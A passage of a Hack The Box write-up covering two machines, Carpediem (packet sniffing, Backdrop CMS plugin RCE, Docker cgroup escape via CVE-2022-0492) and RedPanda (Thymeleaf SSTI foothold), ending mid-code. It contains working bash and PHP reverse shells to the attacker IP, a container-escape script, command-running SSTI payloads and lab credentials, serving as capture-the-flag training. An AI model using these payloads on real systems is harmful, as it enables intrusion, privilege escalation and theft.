The title of the ticket in Trudesk is "New employee on-boarding - Horace Flaccus" and usernames appear to be formatted as first initial last name (ex: `Joey Pardella` is `jpardella`) so the username is probably `hflaccus`.

Running `ssh hflaccus@carpediem.htb` and using the password we just got is successful! We can now `cat ~/user.txt` to get the `user.txt` flag.

## Lateral Movment

### Information Gathering (Lateral Movement)

We connect via pwncat instead to make uploading files easier: `pwncat-cs hflaccus@carpediem.htb`. Then, we run LinPEAS with `./linpeas.sh -a 2>&1 | tee linpeas_report_hflaccus.txt`. Download the report with `download linepeas_report.txt` in the local terminal. You can open [linpeas\_report\_hflaccus.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/linpeas_report_hflaccus.txt) with `less -R linpeas_report_hflaccus.txt`.

There are several other users with a console:

```
╔══════════╣ Users with console
hflaccus:x:1000:1000:Quintus Horatius Flaccus:/home/hflaccus:/bin/bash
jhammond:x:1003:1003:Jeremy Hammond:/home/jhammond:/bin/bash
jpardella:x:1004:1004:Joey Pardella:/home/jpardella:/bin/bash
rfrost:x:1002:1002:Robert Frost:/home/rfrost:/bin/bash
root:x:0:0:root:/root:/bin/bash
```

We actually get a red bold with yellow highlight item from LinPEAS (which means that it is most definitly an attack vector) on `/usr/sbin/tcpdump`:

```
Files with capabilities (limited to 50):
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
```

According to [HackTricks](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#exploitation-example), these are the "capabilities needed by tcpdump to allow any user to sniff packets."

### Wireshark

So, we are going to sniff the packets on the docker container network `docker0` (list network interfaces with `ip a`) and save them to a packet capture file: `tcpdump -i docker0 -w hflaccus_carpediem_docker0.pcap`. I let this run for just over a minute. We are told that `188 packets received by filter`. We download the file: [hflaccus\_carpediem\_docker0.pcap](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/hflaccus_carpediem_docker0.pcap). Next, we open it for analysis in Wireshark

In LinPEAS we see the below output:

```
══╣ Possible private SSH keys were found!
/etc/ssl/certs/backdrop.carpediem.htb.key
```

That is the SSL certificate for `backdrop.carpediem.htb`, the one CMS site we saw earlier. We download the key: [backdrop.carpediem.htb.key](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/backdrop.carpediem.htb.key). Now, in Wireshark go to Edit > Preferences > Protocols > TLS > RSA keys list. Add the key to the list (don't worry about ip and other columns). Side note: I did this before in the [WebNet0 challenge from PicoCTF 2019](https://picoctf2019.haydenhousen.com/forensics/webnet0).

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-8734c4498ece025c2b2d50a855f32e2284fdc934%2FScreenshot-20220730214203-3292x1630.png?alt=media)

We see a POST request to `/?q=user/login` on `backdrop.carpediem.htb`. We right click > Follow > HTTP Stream and we see the following:

```
POST /?q=user/login HTTP/1.1
Host: backdrop.carpediem.htb:8002
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Origin: https://backdrop.carpediem.htb:8002
Content-Type: application/x-www-form-urlencoded
Referer: https://backdrop.carpediem.htb:8002/?q=user/login
Accept-Language: en-US,en;q=0.9
Content-Length: 128

name=jpardella&pass=tGPN6AmJDZwYWdhY&form_build_id=form-rXfWvmvOz0ihcfyBBwhTF3TzC8jkPBx4LvUBrdAIsU8&form_id=user_login&op=Log+inHTTP/1.1 302 Found
Date: Sat, 30 Jul 2022 23:56:02 GMT
Server: Apache/2.4.48 (Ubuntu)
Expires: Fri, 16 Jan 2015 07:50:00 GMT
Last-Modified: Sat, 30 Jul 2022 23:56:02 +0000
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
ETag: "1659225362"
Set-Cookie: SSESS0651e6855a1f90fa8155e44165bd9f99=9ovF3cNaTA3RBfz48wAEZTo2A5V2YYKpe7X51LWXZME; expires=Tue, 23-Aug-2022 03:29:22 GMT; Max-Age=2000000; path=/; domain=.backdrop.carpediem.htb; secure; HttpOnly
Location: https://backdrop.carpediem.htb:8002/?q=admin/dashboard
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
```

### `backdrop.carpediem.htb`

There we go! Now we have credentials for `backdrop.carpediem.htb`: `jpardella:tGPN6AmJDZwYWdhY`. We can forward the port back to our attacker machine by running `./chisel server -p 12350 --reverse` on the attacker machine and then running `./chisel client 10.10.14.98:12350 R:443:172.17.0.2:443` on the target. Then, we can go to `https://localhost/` and sign in:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-e15839c81773e6001bf0531554c8754280fe68b9%2FScreenshot%202022-07-30%20at%2022-09-07%20Dashboard%20backdrop%20carpediem%20htb.png?alt=media)

Navigating to "Reports" and then ["Status report"](https://localhost/?q=admin/reports/status) tells us the Backdrop CMS version is `1.21.4`.

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-cc3db8aa5053cf9db35ceeecf4b959ad6266b4aa%2FScreenshot%202022-07-30%20at%2022-13-21%20Status%20report%20backdrop%20carpediem%20htb.png?alt=media)

Searching for "backdrop cms 1.21.4 exploit" finds [this page](https://curatedphp.com/r/backdrop-is-a-backdropbackdrop/index.html), wihch has patch notes for version `1.21.4` released on Mar 16, 2022 and states "Security release for Backdrop CMS. This release includes several bug fixes, and fixes 1 security vulnerability." It links to [SA-BACKDROP-CORE-2022-003](https://backdropcms.org/security/backdrop-sa-core-2022-003), which states "If a Backdrop site is configured to use CKEditor for rich-text editing, an attacker that can create or edit content (even without access to CKEditor themselves) may be able to exploit one or more Cross-Site Scripting (XSS) vulnerabilities. Victims may be people who later edit that content using CKEditor, including site admins with privileged access." So, this exploit is unlikely to be useful to us since it was patched in the version we have and it doesn't get code execution.

Searching for "backdrop rce" finds [V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS](https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS), which states "The Backdrop CMS version 1.20 allows plugins to be added via ZIP files uploaded to the site. And because it does not have anti-CSRF protection, it is possible for an attacker to create a plugin with a file that allows execution of commands, host it and, using a forged page, make the site admin upload this plugin just by clicking on a malicious link." This is exactly what we want.

We download [reference.tar](https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS/releases/download/backdrop/reference.tar) (linked to from [V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS](https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS), also available [here](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/reference.tar)). We upload the `reference.tar` file to the [manual module installation page](https://localhost/?q=admin/installer/manual):

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-3c9da7ad1a28d3d6b9b0c3ce320001b6993a7854%2FScreenshot%202022-07-30%20at%2022-21-30%20Manual%20installation%20backdrop%20carpediem%20htb.png?alt=media)

Then click "INSTALL":

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-41a6f5526c5511ebd225a65858f95edbd768cbdf%2FScreenshot%202022-07-30%20at%2022-21-07%20Update%20manager%20backdrop%20carpediem%20htb.png?alt=media)

Now, according to the [GitHub repo](https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS), we go to `https://localhost/modules/reference/shell.php?cmd=ls` and sure enough we have command execution: `LICENSE.txt README.md reference.info reference.install reference.module shell.php tests views`.

Now, let's get a reverse shell. Our reverse shell will be a standard `bash` reverse shell: `bash -i >& /dev/tcp/10.10.14.98/51894 0>&1`. Let's encode that in base64 by running `echo -n "bash -i >& /dev/tcp/10.10.14.98/51894 0>&1" | base64`, which gives us `YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx`. So, our payload should be `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx | base64 -d | bash`. Let's url encode that to `echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx%20%7C%20base64%20-d%20%7C%20bash`. Start a listener with `pwncat-cs -lp 51894` and then run the reverse shell by going to `https://localhost/modules/reference/shell.php?cmd=echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx%20%7C%20base64%20-d%20%7C%20bash`. Sure enough, we get a shell!

## Docker Escape

We are in another Docker container as user `www-data`. So, let's upload [CDK](https://github.com/cdk-team/CDK#installationdelivery) and run a full scan with `./cdk_linux_amd64 eva --full`. This doesn't find anything useful. Next, we run [pspy](https://github.com/DominicBreuker/pspy) to look for processes that are ran frequently:

```
2022/07/30 20:38:17 CMD: UID=0    PID=4286   | /bin/bash /opt/heartbeat.sh
2022/07/30 20:38:46 CMD: UID=0    PID=4287   | /bin/bash /opt/heartbeat.sh
2022/07/30 20:38:46 CMD: UID=0    PID=4288   | /bin/bash /opt/heartbeat.sh
2022/07/30 20:38:47 CMD: UID=0    PID=4289   | php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost
2022/07/30 20:38:47 CMD: UID=0    PID=4290   | /bin/bash /opt/heartbeat.sh
2022/07/30 20:38:47 CMD: UID=0    PID=4291   | cp /root/index.php /var/www/html/backdrop/index.php
```

Let's look at the `/opt/heartbeat.sh` script:

```
$ cat /opt/heartbeat.sh
#!/bin/bash
#Run a site availability check every 10 seconds via cron
checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then
        exit
fi
status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$?" != 0 ]]; then
        #something went wrong.  restoring from backup.
        cp /root/index.php /var/www/html/backdrop/index.php
fi
```

So, we cannot edit `/var/www/html/backdrop/core/scripts/backdrop.sh` because if the MD5 hash doesn't match then the script won't run. However, looking at the `backdrop.sh` script we notice that its final parameter has this description:

```
The URI to execute, i.e. http://default/foo/bar for executing
the path '/foo/bar' in your site 'default'. URI has to be
enclosed by quotation marks if there are ampersands in it
(f.e. index.php?q=node&foo=bar). Prefix 'http://' is required,
and the domain must exist in Backdrop's sites-directory.

If the given path and file exists it will be executed directly,
i.e. if URI is set to http://default/bar/foo.php
and bar/foo.php exists, this script will be executed without
bootstrapping Backdrop. To execute Backdrop's cron.php, specify
http://default/core/cron.php as the URI.
```

The URI passed to the `backdrop.sh` script from the `heartbeat.sh` script is `https://localhost`. So, if we replace `index.php` with a php reverse shell we will get a shell as root on the container.

Start a reverse shell with `pwncat-cs -lp 30076`. Then run `echo "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.98/30076 0>&1'\");?>" > /var/www/html/backdrop/index.php`. This creates a revere shell as root on the container!

Right now we have chisel running as the `hflaccus` user to forward the Backdrop CMS interface to our attacker machine. On top of that, we have a reverse shell to `www-data` on the Backdrop CMS Docker container. And on top of that, we have a reverse shell to `root` on the container via a script that is run on a schedule.

Reupload CDK onto the box as root now. Running it with `./cdk_linux_amd64 eva --full` finds: `Cap decode: 0x00000000a00425fb = CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_AUDIT_WRITE,CAP_SETFCAP`.

We can exploit this container and get root on the host machine thanks to [CVE-2022-0492](https://nvd.nist.gov/vuln/detail/CVE-2022-0492). [**This article**](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) is a fantastic description of the issue. HackTricks has a brief discussion on [linux capabilities](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities) and the Trail of Bits Blog [discusses the exploit at a higher level](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/).

First, we run these commands within the container (paste them all at once, do not run one-by-one):

```bash
unshare -UrmC bash
umount /tmp/dog2
rm -R /tmp/dog2
mkdir /tmp/dog2
mount -t cgroup -o rdma cgroup /tmp/dog2
mkdir /tmp/dog2/x
echo 1 > /tmp/dog2/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/dog2/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.98/51895 0>&1'" >> /cmd
chmod a+x /cmd
bash -c "echo \$\$ > /tmp/dog2/x/cgroup.procs"
```

Then, on our SSH connection as the `hflaccus` user, we simply execute `bash -p` and get a root shell. Note: This only worked once I exited from the container reverse shell. Finally, run `cat /root/root.txt` to get the `root.txt` flag.

After rooting the machine, we find the voicemail we heard as a file in `/root`: [voicemail.wav](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/voicemail.wav).


# RedPanda

## Summary

Our Nmap scan reveals SSH and a web server on port `8080`. The web server allows us to search red panda images and view statistics about the number of views an image has. The title of the pages says that the application is made with [Spring Boot](https://spring.io/projects/spring-boot). We fuzz for various vulnerabilities in the "search" field and eventually find a server side template injection (SSTI) vulnerability. Unable to easily get a reverse shell, we write a basic [read–eval–print loop](https://en.wikipedia.org/wiki/Read%E2%80%93eval%E2%80%93print_loop) (REPL) using python: [rps\_repl](https://github.com/HHousen/hack-the-box/blob/master/Machines/RedPanda/rps_repl.py). Using this program, we read the contents of the main web application logic file and find a password, which can be used to SSH to the box and get the `user.txt` flag.

Once we are on the machine, we run [pspy](https://github.com/DominicBreuker/pspy) and notice a cleanup script that removes images and XML files from a few directories. We also notice a `LogParser` program that is ran frequently as root. We analyze the program and its relationship with the "Red Panda Search" application and plan out an exploit that is somewhat complicated. Basically, `LogParser` reads a request log file created by "Red Panda Search." When, `LogParser` sees a new request for an image, it will read the "Author" metadata field of that image and load, update, and overwrite an XML file based on that author name. We can control the request log through a request with a specific user agent and use a XML External Entity (XXE) attack to read the `root.txt` flag into our own XML file.

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.170 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.170`.

```
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http-proxy
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Date: Mon, 01 Aug 2022 01:26:26 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en" dir="ltr">
|     <head>
|     <meta charset="utf-8">
|     <meta author="wooden_k">
|     <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
|     <link rel="stylesheet" href="css/panda.css" type="text/css">
|     <link rel="stylesheet" href="css/main.css" type="text/css">
|     <title>Red Panda Search | Made with Spring Boot</title>
|     </head>
|     <body>
|     <div class='pande'>
|     <div class='ear left'></div>
|     <div class='ear right'></div>
|     <div class='whiskers left'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='whiskers right'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='face'>
|     <div class='eye
|   HTTPOptions:
|     HTTP/1.1 200
|     Allow: GET,HEAD,OPTIONS
|     Content-Length: 0
|     Date: Mon, 01 Aug 2022 01:26:26 GMT
|     Connection: close
|   RTSPRequest:
|     HTTP/1.1 400
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Mon, 01 Aug 2022 01:26:26 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_    Request</h1></body></html>
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=7/31%Time=62E72BC2%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,690,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;charse
SF:t=UTF-8\r\nContent-Language:\x20en-US\r\nDate:\x20Mon,\x2001\x20Aug\x20
SF:2022\x2001:26:26\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20htm
SF:l>\n<html\x20lang=\"en\"\x20dir=\"ltr\">\n\x20\x20<head>\n\x20\x20\x20\
SF:x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20<meta\x20author=\"woode
SF:n_k\">\n\x20\x20\x20\x20<!--Codepen\x20by\x20khr2003:\x20https://codepe
SF:n\.io/khr2003/pen/BGZdXw\x20-->\n\x20\x20\x20\x20<link\x20rel=\"stylesh
SF:eet\"\x20href=\"css/panda\.css\"\x20type=\"text/css\">\n\x20\x20\x20\x2
SF:0<link\x20rel=\"stylesheet\"\x20href=\"css/main\.css\"\x20type=\"text/c
SF:ss\">\n\x20\x20\x20\x20<title>Red\x20Panda\x20Search\x20\|\x20Made\x20w
SF:ith\x20Spring\x20Boot</title>\n\x20\x20</head>\n\x20\x20<body>\n\n\x20\
SF:x20\x20\x20<div\x20class='pande'>\n\x20\x20\x20\x20\x20\x20<div\x20clas
SF:s='ear\x20left'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='ear\x20r
SF:ight'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='whiskers\x20left'>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\x20\x
SF:20\x20\x20<div\x20class='whiskers\x20right'>\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</
SF:div>\n\x20\x20\x20\x20\x20\x20<div\x20class='face'>\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20<div\x20class='eye")%r(HTTPOptions,75,"HTTP/1\.1\x20200\x
SF:20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nContent-Length:\x200\r\nDate:\x20Mo
SF:n,\x2001\x20Aug\x202022\x2001:26:26\x20GMT\r\nConnection:\x20close\r\n\
SF:r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/
SF:html;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435
SF:\r\nDate:\x20Mon,\x2001\x20Aug\x202022\x2001:26:26\x20GMT\r\nConnection
SF::\x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>H
SF:TTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x2
SF:0type=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1
SF:,\x20h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x
SF:20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px
SF:;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{heigh
SF:t:1px;background-color:#525D76;border:none;}</style></head><body><h1>HT
SF:TP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html
SF:>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.79 seconds
```

### Red Panda Search (Port `8080`)

We can search for different red pandas:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-56a6a6226962a8313213fc993a05d101548e8f49%2FScreenshot%202022-07-31%20at%2021-26-18%20Red%20Panda%20Search%20Made%20with%20Spring%20Boot.png?alt=media)

Searching for "a" finds some pandas and they each have an "author" link:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-e20d89792fb870cdbb4ba5a5b8c1fa62320cfc78%2FScreenshot%202022-07-31%20at%2021-29-12%20Red%20Panda%20Search%20Made%20with%20Spring%20Boot.png?alt=media)

Clicking the "author" link gives us some statistics about the images that author has posted to the site:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-6ef76ac015e4d5e4b37578df46032ddb0a242618%2FScreenshot%202022-07-31%20at%2021-29-32%20Red%20Panda%20Search%20Made%20with%20Spring%20Boot.png?alt=media)

The `nmap` scan and the website page titles say that the website is made with "Spring Boot." According to [GitHub: spring-projects/spring-boot](https://github.com/spring-projects/spring-boot), "Spring Boot helps you to create Spring-powered, production-grade applications and services with absolute minimum fuss. It takes an opinionated view of the Spring platform so that new and existing users can quickly get to the bits they need." According to [Wikipedia](https://en.wikipedia.org/wiki/Spring_Framework), "the Spring Framework is an application framework and inversion of control container for the Java platform. The framework's core features can be used by any Java application, but there are extensions for building web applications on top of the Java EE platform."

After trying some directory bruteforcing and fuzzing inputs/parameters for SQLi and LFI, we eventually decide to try server side template injection (SSTI).

We use Java-specific SSTI payloads from [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java). Trying to search for `${7*7}` results in `You searched for: Error occured: banned characters`. Searching for `$` causes the same issue, so it looks like the `$` symbol is banned.

Searching for "spring boot template engine" finds [documentation of the various theme engines available to use](https://docs.spring.io/spring-framework/docs/4.3.0.RC2/spring-framework-reference/html/view.html). We look through the Java theme engines in the [HackTricks SSTI page](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#freemarker-java). After trying a few options we realize that `#{7*7}` works and outputs `You searched for: ??49_en_US??`. Additionally, `(7*7)` works and outputs `49`.

I'm not yet sure what templating engine is being used, but according to [this post](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) there are different expression types in Thymeleaf. Specifically "\*{...}: Selection expressions – similar to variable expressions but used for specific purposes." Running `*{T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}` from [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java) (but with the `$` replaced with a `*`) outputs `You searched for: Process[pid=6138, exitValue="not exited"]`. Spinning up a web server with `python -m http.server 8080` and searching for `*{T(java.lang.Runtime).getRuntime().exec('curl http://10.10.14.98:8080')}` lists a request in the web server logs. So, we have achieved command execution, we just are not getting the output. Using the payload below from PayloadsAllTheThings (again replacing `$` with a `*`) gives the command output:

```
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-648a8da15e3222d26ff6fa36fa6931fe914fb08d%2FScreenshot%202022-07-31%20at%2022-09-21%20Red%20Panda%20Search%20Made%20with%20Spring%20Boot.png?alt=media)

Additionally, running `*{T(java.lang.System).getenv()}` prints the current environment variables and reveals that the current user is `woodenk` and it shows `SUDO_COMMAND=/usr/bin/java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar`, so we know the directory that the application runs out of.

## Foothold

After trying to get a reverse shell for way to long (using various tools and payloads), we write a basic REPL with python to automatically encode commands and retrieve their output: [rps\_repl](https://github.com/HHousen/hack-the-box/blob/master/Machines/RedPanda/rps_repl.py). The "rps" in the name stands for "Red Panda Search." The SSTI payload is based on [VikasVarshney/ssti-payload](https://github.com/VikasVarshney/ssti-payload/), which itself is based on the super long SSTI above from PayloadsAllTheThings.

From before, we know that the "Red Panda Search" application runs from `/opt/panda_search/`, so we explore that directory. We eventually find `cat /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java`:

```java
package com.panda_search.htb.panda_search;

import java.util.ArrayList;
import java.io.IOException;
import java.sql.*;
import java.util.List;
import java.util.ArrayList;
import java.io.File;
import java.io.InputStream;
import java.io.FileInputStream;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.http.MediaType;

import org.apache.commons.io.IOUtils;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

@Controller
public class MainController {
  @GetMapping("/stats")
        public ModelAndView stats(@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{
                SAXBuilder saxBuilder = new SAXBuilder();
                if(author == null)
                author = "N/A";
                author = author.strip();
                System.out.println('"' + author + '"');
                if(author.equals("woodenk") || author.equals("damian"))
                {
                        String path = "/credits/" + author + "_creds.xml";
                        File fd = new File(path);
                        Document doc = saxBuilder.build(fd);
                        Element rootElement = doc.getRootElement();
                        String totalviews = rootElement.getChildText("totalviews");
                        List<Element> images = rootElement.getChildren("image");
                        for(Element image: images)
                                System.out.println(image.getChildText("uri"));
                        model.addAttribute("noAuthor", false);
                        model.addAttribute("author", author);
                        model.addAttribute("totalviews", totalviews);
                        model.addAttribute("images", images);
                        return new ModelAndView("stats.html");
                }
                else
                {
                        model.addAttribute("noAuthor", true);
                        return new ModelAndView("stats.html");
                }
        }
  @GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
        public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {

                System.out.println("Exporting xml of: " + author);
                if(author.equals("woodenk") || author.equals("damian"))
                {
                        InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
                        System.out.println(in);
                        return IOUtils.toByteArray(in);
                }
                else
                {
                        return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
                }
        }
  @PostMapping("/search")
        public ModelAndView search(@RequestParam("name") String name, Model model) {
        if(name.isEmpty())
        {
                name = "Greg";
        }
        String query = filter(name);
        ArrayList pandas = searchPanda(query);
        System.out.println("\n\""+query+"\"\n");
        model.addAttribute("query", query);
        model.addAttribute("pandas", pandas);
        model.addAttribute("n", pandas.size());
        return new ModelAndView("search.html");
        }
  public String filter(String arg) {
        String[] no_no_words = {"%", "_","$", "~", };
        for (String word : no_no_words) {
            if(arg.contains(word)){
                return "Error occured: banned characters";
            }
        }
        return arg;
    }
    public ArrayList searchPanda(String query) {

        Connection conn = null;
        PreparedStatement stmt = null;
        ArrayList<ArrayList> pandas = new ArrayList();
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
            stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
            stmt.setString(1, "%" + query + "%");
            ResultSet rs = stmt.executeQuery();
            while(rs.next()){
                ArrayList<String> panda = new ArrayList<String>();
